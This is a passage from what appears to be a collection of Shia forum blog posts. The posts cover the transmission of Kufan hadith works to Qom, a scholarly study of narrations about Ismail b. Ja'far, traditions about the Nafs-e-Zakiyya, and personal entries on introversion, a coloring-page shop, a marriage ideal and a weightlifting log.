    Husayn bin Sa’eed bin Hammad bin Sa’eed bin Mehran al-Ahwazi was another Kufan scholar who played a role in bringing over some works to Qom. Him and his brother Hasan first leave Kufa and travel to Ahwaz and then migrate to Qom. They bring with themselves the works of Rib’iyy bin ‘Abdillah al-Basri, Shu’ayb al-‘Aqr Qufiyy, Hamid bin Muthanna, Qasim bin Muhammad Jawhari al-Kufi, Qasim bin Sulayman al-Baghdadi, Qasim bin ‘Urwah al-Baghdadi, Hariz bin ‘Abdillah al-Sijistani, Zur’ah bin Muhammad al-Hadhrami and more. Husayn also brings with himself thirty of his own written works to Qom and transmitted them to various students.

    Abu Ja’far Muhammad bin ‘Ali bin Ibrahim bin Musa al-Sayrafi – known as Abu Sumaynah, a Kufan narrator who was eventually exiled from Qom by Ahmad bin Muhammad as well, brought with him the book of Ishaq bin Yazid bin Ismail al-Ta’i, some books of Ismail bin Mehran bin Abi Nasr al-Sakuni, book of Hafs bin ‘Asim Salami, book of Sulaym bin Qays, book of Salam bin ‘Abdillah al-Hashimi, book of Haytham bin Waqid Jazari, book of Abu Badr al-Kufi and the book of Nasr bin Mazahim al-Kufi. He will be referred to again in a later post when we discuss the phenomenon of certain narrators being exiled from the city of Qom.

    Muhammad bin ‘Abdul Jabbar al-Qumi – known as Ibn Abi al-Sahban, a companion of Imam Jawwad, Hadi, and ‘Askari. He was also one of those scholars who traveled to Kufa and brought back with him some of Kufa’s hadith heritage. His most important teachers in Kufa were Safwan bin Yahya, Muhammad bin Ismail Bazi’, and Hasan bin ‘Ali bin Fadhdhal. It doesn’t seem like he had any book of his own, and was merely recognized as someone who was able to transfer over some of the hadith works from Kufa to scholars in Qom. Most of his narrations in Qom are narrated by Ahmad bin Idris, ‘Abdullah bin Ja’far al-Himyari, Muhmmad bin al-Hasan al-Saffar and Muhammad bin Yahya al-‘Attar.

    Perhaps the most prolific scholar who is renowned for bringing much of Kufa’s hadith heritage to Qom is Ibrahim bin Hashim. He is remembered as the first scholar to bring Kufa’s hadith to Qom and to have spread it. Some of the works he brought with him were: the Asl of Ibrahim bin ‘Abd al-Hamid, books of Ismail bin Abi Ziyad al-Sakuni, books of Hariz bin ‘Abdillah al-Sijistani, book of ‘Abdullah bin Sinan, books of Ibn Abi ‘Umayr, books of Muhammad bin Ismail bin Bazi’, Asl of Hisham bin Salim, some books of Mufadhdhal bin ‘Umar, book of Zayd Narasi, book of Sulaym Farra’, book of Yahya bin ‘Imran bin ‘Ali bin Abi Shu’ba al-Halabi just to name a few.[3]

    For at least the next 150 years, Qom would become the most important city when it came to Shi’i theological discourse. Eventually much of Qom’s hadith heritage does return back to Iraq, to the city of Baghdad when the likes of Shaykh Mufid begin gaining authority.

    With regards to the topic of Kufa’s heritage moving over to Qom, Ibrahim bin Hashim is notably remembered by multiple scholars as being the first person to spread the hadith of the Kufans in Qom was him.[4] However, when we look at the list above, we see that Muhammad bin Khalid al-Barqi, Husayn bin Sa’eed and Ahmad bin Muhammad bin ‘Isa were all scholars who had already brought with them a lot of traditions from Kufa much before Ibrahim bin Hashim. So why is it that the latter scholars gave this honour to Ibrahim rather than those who were prior to him? There could be a few possible reasons for this and a closer look at the other three scholars may help us in determining this.

    One thing to note is that the attribution given to Ibrahim bin Hashim is that the works he brought to Qom were widely-spread, not that he merely transmitted them or passed them down to his students. That being said, when we consider al-Barqi, it is known that one of the reasons he was exiled from Qom by Ahmad al-Ash’ari was because he would narrate from unknown or weak people. This would have been enough of a reason for many of the scholars of Qom to act cautiously with regards to his narrations, leading to his narrations not having spread to such an extent where it would be deemed as spreading the Kufan heritage. Some have suggested that it is possible al-Barqi may have returned back to his own town on the outskirts of Qom called Barqah-Rud, and that would have been a plausible reason why his ahadith did not spread in Qom – however this seems far-fetched, simply because Qom seems to be the most sensible location for a scholar of hadith to have returned back to, and also when we see that Ahmad al-Ash’ari exiled him from Qom it indicates that he was in Qom to begin with.

    As for Husayn bin Sa’eed, he had thirty of his own written works in Kufa which he brought with him to Qom. His main focus had been to spread these narrations which he had compiled himself, and not the rest of the heritage he had brought with him. Furthermore, Husayn bin Sa’eed did not live too long after coming to Qom, dying a short while after, which could mean that he simply didn’t have enough time to spread and transmit all the works he had brought with him to such an extent that would merit him the status of being the first one to widely-spread the heritage of Kufa in Qom.

    When it comes to Ahmad bin Muhammad al-Ash’ari – who was also the authority in Qom – it seems that there may been another reason he is not given this description. He not only had more of an opportunity to widely spread the heritage of Kufa that he had brought back with him to Qom, but he also had many of the same teachers as Ibrahim bin Hashim and both were living during the same era. The one factor that could have caused the scholars to still give Ibrahim bin Hashim the credit for spreading the heritage of Kufa in Qom the fact that Ibrahim was someone who was brought up and raised in Kufa, whereas Ahmad was originally a scholar of Qom. In other words, Ibrahim was the first Kufan scholar who have come to Qom and have the Kufan heritage widely-spread in the city.

    Another side point that should be mentioned here is that Ibrahim bin Hashim is credited for carrying over the theological teachings of the school of the great theologian and companion Hisham bin Hakam from Kufa to Qom as well. Ibrahim bin Hashim is claimed to have been the student of Yunus bin ‘Abdul Rahman who himself was one of the strongest students of Hisham bin Hakam. Whether Ibrahim was indeed a student of Yunus or not is disputed as there is no narration which Ibrahim narrates directly from Yunus (as is the natural case in a student-teacher relationship), and every narration from Yunus appears to have an individual between them. Nevertheless, Ibrahim does seem to have been influenced by this school of thought, and likewise his son Ali bin Ibrahim who will be discussed in a later article as well.

    This is important to know because figures such as Ahmad bin Muhammad al-Ash’ari and many later Qom scholars were staunchly against some of the theological ideas of Hisham bin Hakam, and had even written books against him and Yunus bin ‘Abdul Rahman. Despite this, they were still welcoming of Ibrahim bin Hashim and his narrations which indicates the level of trust and respect Ibrahim must have had in the city of Qom.

    ————————————–

    [1] One of the works I have heavily relied on for this blog post is the research paper: Sayr-e Intiqal-e Mirath-e Maktub-e Shi’eh dar Ayeneh-ye Fihrist-ha written by Ruhullah Shaheedi and Dr. Muhammad Ali Mahdawi-Raad.

    [2] Al-Fihrist of Shaykh Tusi, pg. 52

    [3] Refer to Najashi’s al-Rijal and Shaykh Tusi’s al-Fihrist. About 19 more works can be found in Shaykh Tusi’s al-Fihrist and 3 more in Najashi’s al-Rijal.

    [4] The famous line as recorded in Najashi’s al-Rijal is this: أصحابنا يقولون: أوّل من نشر حديث الكوفيين بقم, هو (Our scholars have said: The first person to spread the hadith of the Kufans in Qom, was him)

  8. The most satisfying spouse  is the God Fearing Man. He is the one you should look for and he most likely wont be online-he's too busy making a difference in the world.

    You will never be bored with him. The way he is devoted to Allah SWT will fill you up with admiration and respect. His humor will be wholesome and sweet. His shyness and the way he lowers his gaze will make you fall madly in love with him. He will be  truthful. He will be pleased to meet your mother and greet her in the most polite manner as if he were her own son. He might not be a 10, but how he takes care of his body, and the Noor given to him from Allah SWT will be enough to attract you for a life time making him an 11 in your book. 

    He will never put you down. His language will be pure and sweet. You will feel safe and beautiful with him, and he will inspire you to fulfill your Islamic duties as a wife to the best of your abilities

  9. :bismillah:

    :salam:

    Let's spread some light on how life is when you're an introvert. Now, I've seen many people claiming to be introverts when they read about us but just because you can relate to a few of the things doesn't make you one of us, you loser! Everyone's a bit introverted and a bit extroverted. If you're more introverted, you're an introvert and the same for an extrovert. If you're somewhere in between, you're an ambivert and that's no fun at all. Seriously, you're no fun.

    For starters, introverts are pretty selective about who they talk to mostly. For the ones we do care about, we talk a lot, we're chatterboxes! But we're more on the listening side. When with someone new, we listen, we smile, we don't know what would be the right thing to say... Yups! But even after being with friends, it becomes exhausting. Extroverts are like leeches, always ready to feed on energy when it comes to socializing. Poor introverts only give energy when we socialize which makes it really exhausting after some time. So, we want to be left alone for some time so we can recharge. So, keep away!

    Image result for how to deal with an introvert

    See that bubble up there, extroverts? Try not to burst it, you monsters! We feel really safe inside of it. Yeah, you can't see it but you can get an idea of what you're being really annoying. Trust me! We're amazing once we let you in that bubble but try to keep it slow and let us learn if you're our type or not. We're sensitive, you know... Nah! We're not. At least all introverts aren't. We can be heartless too. *wink*

    Image result for cyanide and happiness introvert

    Calls... Oh! Please don't call... We can chat through Whatsapp or how about SMS? :) If you're an introvert, you'll get it.

    Although we don't like to socialize much but getting ignored isn't that great either. We're pretty happy by ourselves too. Unlike extroverts, it's not that easy for an introvert to get bored. Especially when you have shiachat to waste time on... Or reading too. Yes, we do that too.

    Like I said before, we're great listeners but an introvert with a great imagination will get lost in his own fantasy world the moment you start to get boring. Don't believe me? The next time you've been talking to an introvert for too long, when you finish, you'll see him/her smile only. You know why? Cuz s/he has no idea what you said. So, s/he just smiled. I do that a lot too. Extroverts do that too... So rude of them!

    Well, I think that's all for now. I can't really come up with anything else for now. Update complete! Time for gaming!

    Introvert, signing out!

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    saudi-al-nimr.jpg

    More and more people are asking about if the holy warrior, "Ayatollah Sheikh Nimr Al Nimr" was the "Nafse Zaki" as prescibed in the prophecies of return of Imam Mahdi a.s (May Allah hasten his reappearance).

    To help out your curious mind. You'll witness the riwayats and hadiths related to "Nafse Zaki - Pure Soul".

     

    Note: Before reading below, beware that the signs of reappearance isn't explicitly the result for the return of the Imam Mahdi a.s except the 5 that are obligatory.

     

    1. On the 25th Zil-Hijjah the announcement will be made and the announcer killed (This is the blood of Nafse Zakiyya - pure soul, those whose blood will touch the Ka'ba and who is mentioned in numerous prophecies).

    2. His blood will be avenged 2 weeks later when Imam(a.s.) will appear himself at the Ka'ba.

    3. In the 13th volume of Bihar-ul-Anwar, Imam Al-Baqir(a.s.) is quoted as saying that "The Qaim (Imam Al-Mahdi(a.s.)) will send one of his companions to Makka and will ask him to inform them that I'm sent by so-and-so to you and that we are the merciful Ahlul-Bayt and the Store-house of 'Risalat' (religious guidance) and 'Khilafat' and we are the progeny of Muhammad(pbuh&hf) and from the time that the Prophet of Islam(pbuh&hf) left this world until now, we've been oppressed and deprived and our rights have been usurped. So we call you to befriend us. When that young man will utter these words, he will be caught and beheaded between 'Rukn' and 'madam' (in Masjidul Haram) and this young man is the 'Nafse Zaki'.......... And between the death of the 'Nafse Zaki' and the re-appearance of Imam Al-Mahdi (A.S.) there will not be a gap of fifteen nights".

    4. Nafs-e-Zakiyyah is a person by the name of Muhammad ibn al-Hasan (Allama Majlisi. Bihar al-Anwar 52)

    5. He is a descendant of Husayn ibn Ali (Allama Majlisi. Bihar al-Anwar 52)

    6. Duty of Nafs-e-Zakiyyah is mentioned in a hadith that narrated by Abu-Basir from Muhammad al-Baqir. According to the hadith when Muhammad al-Mahdi realizes, people of Mecca don't accept his reappearance. Therefore, he will send Nafs-e-Zakiyyah as an envoy to convey his oral message to people of Mecca (Majlisi, Muhammad Baqir. Bihar al-Anwar 52. p. 307)

    7. He will be slayed by people of Mecca around the Ka'ba after impart Imam's message to them. (Hashemi Shahidi, Seyyed Asadullah. Introduce of promised person. Jamkaran Mosque Publication. p. 524.)

    8. It will rise from the west; a pure soul (nafs zakiyya) will be killed in the outskirts of Kufa with seventy righteous men; a Hashimite will be slaughtered between the corner (of the Ka'ba) and the station of Abraham)

    9. As well, before the advent of the Imam, a noble person will be killed during the Hajj rites in Makkah. In the traditions, this person has been referred to as the Pure Soul or an-Nafs al-Zakiyyah.

    10. Upon the death of Nafs-e-Zakiyya, a voice will resonate from the skies declaring, “Be aware that your ruler is the Mahdi who shall fill the earth with truth and justice.” (Eqdud-Durar) (http://www.islamicinsights.com/religion/signs-of-the-return.html)

    11. Five signs will be seen before the uprising of the Qaim: Arrival of the Yemenite man, Sufyani, Call from the sky, Sinking of the ground in Baidha desert and Killing of the Pure Soul (Nafse Zakiyyah).”

    12. (Bihar Al Anwar Vol-51-52-53-( the-Promised-Mahdi-English v 13 -Translation ) Chapter Thirty book II, Ikmaaluddin- Shaykh Saduq)

    13. After that Imam Mahdi (a.s.) would arise and his standard would be held by Shuaib bin Salih. When Syrians realize that their country has come under the rule of the descendant of Abu Sufyan they would go to Mecca. Nafse Zakiyyah and his brother would be killed at that time.

    14. Nafse Zakiyyah (the pure soul) is a young man from the Progeny of Muhammad (s.a.w.s.), his name is Muhammad bin Hasan, who would be killed without any crime and sin and when they slay, him they shall neither have any excuse in the heavens nor would they have any friend in the earth. At that time the Almighty Allah will send the Qaim of Aale Muhammad with a group that in the view of the people would be softer than antimony.

    15. Imam Ja'far Sadiq (a.s.) said: And mutual discord in Bani so-and-so is inevitable, killing of Nafse Zakiyya is inevitable and the rising of Imam Qaim is also inevitable.

    16. "When Nafse Zakiyyah (pure person) will be killed, a voice from the sky will declare, ‘Your leader is so and so!’ Then Mahdi will rise and will fill the earth with justice and equity." (Ammare Yasir)

     

    Summarizing the Ahadith/Riwayats mentioned above:

    1. There are 2 nafs-e-Zakiyya mentioned in the riwayats i.e one would be killed in Kufa (Iraq) and the other would be killed in Saudi (Hijaz)

    2. The Nafs-e-Zakiyya is not a name but a nick name meaning (A pure soul).

    3. Nafs-e-Zakiyya name would be "Muhammad ibn al-Hasan"

    4. Killing of Nafs-e-Zakiyya is among the 5 major signs of reappearance of the Imam Mahdi a.s

    5. He would be Syed Hashmi (from the progeny of Prophet Mohammad s.a) (Ayatollah Nimr is not a Syed but a Sheikh)

    6. Nafs-e-Zakiyaa would call upon people to introduce the Ahlulbayt but he would be killed for this.

    7. Imam Mahdi a.s would rise right after 15 days of killing of Nafs-e-Zakiya.

     

    I've collected the above Signs from several websites. Thus the Ahadith mentioned may be Sahih or Zaieef (Strong or weak respectively) 

    Hope you would conclude it on your own.

  10. Logical reasoning

    Intellectual arguments

    Rational recognitions

    Eternal reflections

    Purity of spirit

    Eternal soulfulness

  11. Bismillah

    Salam

    Here are some thoughts and updates about how my coloring page is coming along.

    - It had some momentum at first... I was averaging 1 finished coloring page a month. Now it's been like 5+ months and nothing... I just feel like I have little time and even littler inspiration these days. Deep down I am still passionate about the idea... but it doesn't manifest itself. 

    - I hired my niece a few months ago to help me produce more pages more quickly and offer a variety of styles. She is an artist herself, so the idea was that she can come up with sketches/ designs, send them to me, and then I turn them into a finished coloring page. She gets $5 per finished design and a % of every sale of that coloring page. She did do one for me so far, but she is very busy as well so I understand if she can't produce much. (Anyone else interested?)

    - I actually am working on a design right now. I am excited about it, I think I will like how it comes out when finished. Probably because it is based off of one of my old (and favorite) paintings. 

    - I learned that I am absolutely terrible at promoting myself. I just don't like it. I even made an Instagram because I heard that it's good for this type of stuff, but I dislike posting. I'm very shy and hate attention. Hmm... how will that work with my entrepreneurial side? 

    - I've made 8 sales in all. Every time I get an email saying I made a sale, I get so happy! Even though I literally make pennies off of every sale lol. But that's fine, I don't do this for the monies. 

    I think that's all for now. Here are the 2 coloring pages that I have completed since my last blog. 

    icecreamgirlssmall.thumb.jpg.59b2ae1e2eb225780222a9039f898ad5.jpgtreesandflowersmall.jpg.67a8de06b49bef5a60c4e3c7fb7f3e5f.jpg

    Link to shop: https://www.etsy.com/shop/TzahArt

  12. Some Glimpes of Ismail b. Ja`far in Twelver Sources

    When dealing with a historical figure, that is to say, with an individual who lived ages ago, and in a socio-cultural milieu quite different from us, we must acknowledge the difficulties of trying to answer such questions about them as - who were they? what motivated them? etc. Who can trace the subtle changes that unfailingly occur over a life time while penetrating the barrier of inner thought? This is compounded when we have access to only a limited number of textual sources to work with. 

    Despite admitting the challenges facing any such reconstruction, there is no reason why such attempts not be made, with one caveat: the mind is always looking to make patterns out of disparate dots, sometimes a whole emerges that is consistent and self-sustaining. If the prism through which a single piece of data is seen enables it to better explain other totally independent pieces of data, then the whole reconstruction is on safer grounds and the pieces of data more likely to be historical. Other times, one can skew the different pieces of evidence in trying to fit a pre-configured narrative, introduce bias, over-reach and form a conclusions that is far-removed from reality.

    In any case, what follows below is a collection of different Ahadith that involve Ismail in Twlever sources. It is felt that the incidental nature of some of them, where the details of his life are mentioned secondarily, consequently not tinged with polemical considerations, will yield the most qualitative results. This is purposely so because Ismail was a controversial figure. He was at the center of a polemical debate about the succession to al-Sadiq. There was no lack of people who would wish to besmirch his name with a “black legend” so as to justify his disqualification to the Imama. Similarly, and on the other side of the spectrum, there would be sectarians working to “white-wash” him having imbued theological meaning to his person.

     

    Introduction

    Ismail b. Ja`far b. Muhammad was the eldest son of al-Sadiq and was born in Madina in 100 AH. He died circa 138 AH before his father [this last piece seems to be the most strongly anchored piece of info. about him because even his supporters had to explain it away]. His mother was Fatima bt. al-Husyan b. al-Hasan b. Ali. His full brother was Abdallah al-Aftah who also claimed the Imama after their father for brief period of time.

     

    Did the Imam praise him?

    عبدالله بن محمد، عن الحسن بن علي الوشاء، عن أحمد بن عائذ، عن أبي خديجة الجمال قال: سمعت أبا عبدالله عليه السلام يقول: إني سألت الله في إسماعيل أن يبقيه بعدي فأبى ولكنه قد أعطاني فيه منزلة أخرى إنه يكون أول منشور في عشرة من أصحابه ومنهم عبدالله بن شريك وهو صاحب لوائه

    [al-Kashshi] Abdallah b. Muhammad from al-Hasan b. Ali al-Washsha from Ahmad b. A`idh from Abi Khadija the Cameleer who said: I heard Aba Abdillah عليه السلام saying: I asked Allah about Ismail - that he should preserve him to remain after me - but He refused, however He has given me another position for him, he (Ismail) will be the first one to be resurrected with ten of his companions, among them Abdallah b. Sharik, and he (Abdallah) will be the man who carries his banner.

    Abu Khadija in the chain is Salim b. Mukram about whom al-Najashi says <<Thiqa Thiqa>> and Ibn Fadhal says <<Salih>>. However, he has a pre-history which is significant to our study.

    وكان سالم من أصحاب أبي الخطاب، وكان في المسجد يوم بعث عيسى بن موسى بن علي بن عبد الله بن العباس وكان عامل المنصور على الكوفة إلى أبي الخطاب لما بلغه أنهم أظهروا الإباحات ودعوا الناس إلى نبوة أبي الخطاب وأنهم يجتمعون في المسجد، ولزموا الأساطين يرون الناس أنهم قد لزموها للعبادة، وبعث إليهم رجلا فقتلهم جميعا لم يفلت منهم إلا رجل واحد أصابته جراحات فسقط بين القتلى يعد فيهم فلما جنه الليل خرج من بينهم فتخلص وهو أبو سلمة سالم بن مكرم الجمال الملقب بأبي خديجة فذكر بعد ذلك أنه تاب وكان ممن يروي الحديث

    Salim’s original Kunniya was Aba Khadija but the Imam changed it to Aba Salama. He was someone who owned camels and rented them out for others to travel with. Salim was at one point in time among the followers of Abu al-Khattab. They were accused of libertinism (making the Haram to be Halal) and proclaiming Abu al-Khattab to be a prophet. They then rose in revolt and barricaded themselves in the mosque of Kufa. He was the sole individual who escaped the massacre in the mosque that followed and lived to tell the tale. This is because the Abbasid forces thought him to have died in the assault, so when it was the night he stood up and fled.

    Abdallah b. Sharik mentioned in the narration is considered a lying Mukhtari in proto-Sunni sources. He participated in Mukhtar’s revolt which indicates his militant bent. He then attaches himself to Ismail as can be seen  here.

    The Hadith seems to be implying some status for Ismail in the Raj`a [eschatological return] and making this Abdallah b. Sharik al-Amiri as his chief liutenant.

    It is my thesis that Ismail himself is someone who was courted by Abu al-Khattab and associated with the Khattabiyya in some manner. Thus, we have a prior Khattabi [who could be narrating before his conversion] narrating praise of Ismail and his associate the former Mukhtari Abdallah b. Sharik. This is enough to raise skepticism.

     

    The Disapproval of the Imam

    الحسن بن احمد بن إدريس، عن أبيه، عن محمد بن احمد الاشعري، عن ابن يزيد والبرقي، عن احمد بن محمد بن ابي نصر البزنطي، عن حماد، عن عبيد بن زرارة قال: ذكرت إسماعيل عند أبي عبد الله عليه السلام فقال: لا والله لا يشبهني ولا يشبه أحدا من آبائي

    [Kamal al-Diin] al-Hasan b. Ahmad b. Idris from his father from Muhammad b. Ahmad al-Ash`ari from Ya`qub b. Yazid and al-Barqi from Ahmad b. Muhammad b. Abi Nasr al-Bazanti from Hammad from Ubayd b. Zurara who said: I mentioned Ismail to Abi Abdillah عليه السلام so he said: no by Allah - he does not resemble me or any one of my forefathers.

    والجواب أنّه سأل الامام عليه السلام عن إسماعيل من جهة لياقته للامامة، على ماهو المرتكز في أذهان العامة من الشيعة، فأجابه الامام عليه السلام بأنّه لايشبهه، ولايشبه آباءه في العصمة، فانّه تصدر منه المعصية غير مرّة، وهذا لا ينافي جلالته، فإنّ العادل التقي أيضاً قد تصدر منه المعصية، ولو كانت صغيرة، لكنه يتذكّر فيتوب

    al-Khoei claims that Ismail not resembling the `Aimma is just as far as the question of Isma (infallibility) is concerned i.e. he is not an Imam like them.

    However, there is a variant which has an addition that seems to indicate that this extended to his personal habits which were not deemed upright.

    ك: ابن المتوكل، عن محمد العطار، عن الاشعري، عن ابن يزيد، عن ابن أبي عمير، عن الحسن بن راشد قال: سألت أبا عبد الله عليه السلام عن إسماعيل فقال: عاص عاص لا يشبهني ولا يشبه أحدا من آبائي

    [Kamal al-Diin] Muhammad b. Musa b. al-Mutawakkil from Muhammad b. Yahya al-Attar from Muhammad b. Ahmad b. Yahya b. Imran al-Ash`ari from Ya`qub b. Yazid from Muhammad b. Abi Umayr from al-Hasan b. Rashid who said: I asked Aba Abdillah عليه السلام about Ismail, he said: disobedient! disobedient! he does not resemble me nor any one of my forefathers.

    Why would the Imam call him عاص if it was just about indicating that he is not infallible?

     

    Connections with the Ghulat Abu al-Khattab and Mufadhal

    Ismail was thought to be be his father’s successor even in the latter’s lifetime. There were some shady figures who coalesced around him like Abu al-Khattab [and the Khatabiyya incl. Mufadhal] who were spreading that rumour. Abu al-Khattab himself had a totally Gnostic and anti-nomian understanding of Islam underpinned by his Batini Ta`wil. He considered the recognition of the Imam to make Shari`a practices redundant. Abu al-Khattab led a rebellion in Kufa and was killed with seventy of his followers by the order of the governor Isa b. Musa (the nephew of the first two Abbasid Caliphs al-Saffah and al-Mansur) when they barricaded themselves in the mosque. [The incident alluded to above]

    al-Mufadhal was initially connected to Abu al-Khattab and the Khatabiyya before later dis-associating from them and renouncing his former position. It is clear that the later Ismailiyya, despite the various off-shoots and splinter sects that arose [and the picture is further complicated by activities to mystify their origins and problems of lack of primary documents] can be traced back to the Khattabi movement. Whether Ismail is directly implicated or was just a figure-head around whom they built their theology remains to be seen.

    حدثني حمدويه بن نصير، قال حدثنا يعقوب بن يزيد، عن ابن أبي عمير، عن هشام بن الحكم وحماد بن عثمان، عن إسماعيل بن جابر قال: قال أبو عبد الله: ايت المفضل قل له يا كافر يا مشرك ما تريد إلى ابني تريد أن تقتله

    [al-Kashshi] Hamduwayh bin Nusayr who said: narrated to us Ya’qub bin Yazid from Ibn Abi Umayr from Hisham bin al-Hakam AND Hammad bin Uthman from Ismail bin Jabir who said: Abu Abdillah عليه السلام said: go to Mufadhal and say to him - O Kafir, O Mushrik, what do you want for my son Ismail (i.e. al-Sadiq's son)!? Do you want to kill him!?

    جبرئيل بن أحمد قال: حدّثني محمّد بن عيسى، عن يونس، عن حماد بن عثمان قال: سمعت أبا عبداللّه عليه السلام يقول للمفضّل بن عمر الجعفي: يا كافر يا مشرك مالك ولابني، يعني إسماعيل بن جعفر، وكان منقطعا إليه، يقول فيه مع الخطابية، ثم رجع بعده

    [al-Kashshi] Jibrail b. Ahmad who said: Muhammad b. Isa narrated to me from Yunus from Hamma b. Uthman who said: I heard Aba Abdillah عليه السلام saying to al-Mufadhal b. Umar al-Ju`fi: O Kafir, O Muhsrik, what do you have to with me son - meaning Ismail b. Ja`far? - and he [Mufadhal] was loyal to him [Ismail], believing about him [that he is the Imam and much more] together with the Khatabiyya, then he returned after him [Ismail’s death].

    حدّثني حمدويه قال: حدّثني محمد بن عيسى، عن إبن أبي عمير، عن حمّاد بن عثمان، عن إسماعيل ابن عامر (جابر) قال: دخلت على أبي عبد اللّه عليه السلام، فوصفت إليه الائمة، حتى انتهيت إليه، فقلت: إسماعيل من بعدك؟ فقال عليه السلام: أم‏ا ذا فلا، فقال حمّاد: فقلت لاسماعيل: ومادعاك إلى أن تقول: وإسماعيل من بعدك؟ قال: أمرني المفضّل بن عمر

    [al-Kashshi] Hamduwayh narrated to me saying: Muhammad b. Isa narrated to me from Ibn Abi Umayr from Hammad b. Uthman from Ismail b. Amir (should be Jabir) who said: I entered upon Abi Abdillah عليه السلام and named for him the `Aimma, until I reached him, then I said: Ismail after you? he said: as for that one then No, Hammad said: so I [Hammad] said to Ismail: what made you to say: ‘Ismail after you’, he said: Mufadhal b. Umar made me do it.

    ويذكر لويس « إن الكنية ( أبو إسماعيل ) التي يضيفها الكشي على أبي الخطاب إنما تشير إلى إسماعيل بن جعفر وأن أبا الخطاب كان المتبني لإسماعيل والأب الروحاني له

    Bernard Lewis quotes from his teacher the famous orientalist Louis Massignon the enigmatic claim that even the Kuniyya Abu Ismail, which al-Kashshi uses for Abi al-Khattab, actually refers to Ismail b. Ja`far. It originated from the fact that Aba al-Khattab considered himself a spiritual father to Ismail grooming him to assume leadership [see his: The Origins of Isma`ilism].

     

    Nabidh Drinking

    حمدويه قال: حدثني محمد بن عيسى ومحمد بن مسعود قال: حدثنا محمد بن نصير قال: حدثني محمد بن عيسى، قال: حدثنا صفوان، عن أبي الحسن عليه السلام قال صفوان: أدخلت على إبراهيم وإسماعيل ابنا أبي سمال ... ما كانوا مجتمعين عليه، كيف يكونون مجتمعين عليه وكان مشيختكم وكبراؤكم يقولون في إسماعيل وهم يرونه يشرب كذا وكذا، فيقولون هذا أجود ...

    [al-Kashshi] Hamduwayh who said: Muhammad b. Isa narrated to me; and Muhammad b. Masud who said: Muhammad b. Nusayr narrated to us saying: Muhammad b. Isa narrated to me saying: Safwan narrated to us from Abi al-Hasan (i.e. al-Ridha) عليه السلام, Safwan said: I arranged for Ibrahim and Ismail - the two sons of Abi Sammal (prominent Waqifis) to enter upon him (i.e. al-Ridha عليه السلام) … [the Imam said]: they were not united upon him (i.e. al-Kadhim), how could they be united upon him while your elders and leaders used to say about Ismail - even though they used to see him drink ‘so and so’ - they would still say - this is one is better …

    What is this ‘so and so’? It is Nabidh (intoxicating drink) [the narrator censors and obfuscates it because of sensitivity - but it is clear what is meant for those who are researchers in this field].

    It was to explain this away that a Hadith like the one below was transmitted.

    ابن الوليد، عن سعد، عن محمد بن عبدالجبار، عن ابن أبي نجران، عن الحسين بن المختار، عن الوليد بن صبيح قال: جاء ني رجل فقال لي: تعال حتى اريك أبن الرجل قال: فذهبت معه قال: فجاء ني إلى قوم يشربون فيهم إسماعيل بن جعفر فخرجت مغموما، فجئت إلى الحجر فاذا إسماعيل بن جعفر متعلق بالبيت يبكي، قد بل أستار الكعبة بدموعه، فرجعت أشتد فاذا إسماعيل جالس مع القوم، فرجعت فاذا هو آخذ بأستار الكعبة قدبلها بدموعه قال: فذكرت ذلك لابي عبدالله عليه السلام فقال: لقد ابتلي ابني بشيطان يتمثل في صورته

    [Kamal al-Diin] Ibn al-Walid from Sa`d from Muhammad b. Abd al-Jabbar from Ibn Abi Najran from al-Husayn b. al-Mukhtar from al-Walid b. Subayh who said: a man came to me and said: come with me so that I show you the son of the man, he [Walid] said: so I went with him until he brought me to a group who were drinking and among them was Ismail b. Ja`far, so I came out of there saddened, then I went o the Hajar [at the Ka`ba] and found Ismail b. Ja`far clinging to the House crying, until the cloth [covering the Ka`ba] was drenched because of his tears, so I returned quicly to the gathering and found Ismail seated with the group, then I returned and found him clinging to the cloth of the Ka`ba which had wettened because of his tears, he [Walid] said: so I mentioned this to Abi Abdillah عليه السلام, he said: my son is afflicted with a devil who assumes his form.

    This narration is also found in al-Imama wa al-Tabsira min al-Hayra of Ali b. al-Husayn b. Babawayh [al-Saduq’s father]. There the chain is Ahmad b. Idris and Muhammad b. Yahya > Muhammad b. Abd al-Jabbar > Ibn Abi Najran > al-Husayn b. al-Mukhtar > al-Walid b. Subayh.

    The Hadith has been put to use to nullify the claim of Ismail’s to the Imam. As al-Saduq comments:

    وقد روي أن الشيطان لا يتمثل في صورة نبي ولا في صورة وصي نبي، فكيف يجوز أن ينص عليه بالإمامة مع صحة هذا القول منه فيه

    And it has been narrated that the Shaytan does not assume the form of a prophet or the successor to the prophet, so how is it possible that he [Ja`far] would designate him [Ismail] for the Imama while he [Ja`far] is the same one who authentically stated this about him.

    However, it may have originally been circulated to explain Ismail’s Nabidh drinking in an apologetic manner.

  13. So week 1 finished. Eating all this food was quite the joy. And also painful at times. I will continue to eat as i have, with some variations, changing steak with chicken, fish with shrimp etc. For week 2 i will switch up the workouts a little.

    Results from Week 1:

    Body info:

    • Weight: 91kg


    Lifts Max:

    • Bench: 127kg
    • Deadlift: 185kg
    • Squat: still 150kg :(

    Increased strength all over, specially back and shoulders seem to be a lot stronger. I will try to focus more on legs this week by killing them with supersets and partials.


    Changes for Week 2
    Mondays will now include legs as well which looks something like this:

    Superset 1: Squats + Leg Press > 4 sets of 8/8/6/6 reps
    Superset 2: Leg Extensions + Walking lunges > 4 sets of 12/10/8/6 reps
    Superset 3: Romanian deadlift + Leg curls > 4 sets of 12/10/8/6 reps
    Calves: Calf raises > 4 sets to failure

    Goal: Squat 155kg by the end of 3rd week


     

  14.     Image result for bismillah

    اعْلَمُوا أَنَّمَا الْحَيَاةُ الدُّنْيَا لَعِبٌ وَلَهْوٌ وَزِينَةٌ وَتَفَاخُرٌ بَيْنَكُمْ وَتَكَاثُرٌ فِي الْأَمْوَالِ وَالْأَوْلَادِ كَمَثَلِ غَيْثٍ أَعْجَبَ الْكُفَّارَ نَبَاتُهُ ثُمَّ يَهِيجُ فَتَرَاهُ مُصْفَرًّا ثُمَّ يَكُونُ حُطَامًا وَفِي الْآخِرَةِ عَذَابٌ شَدِيدٌ وَمَغْفِرَةٌ مِّنَ اللَّهِ وَرِضْوَانٌ وَمَا الْحَيَاةُ الدُّنْيَا إِلَّا مَتَاعُ الْغُرُورِ

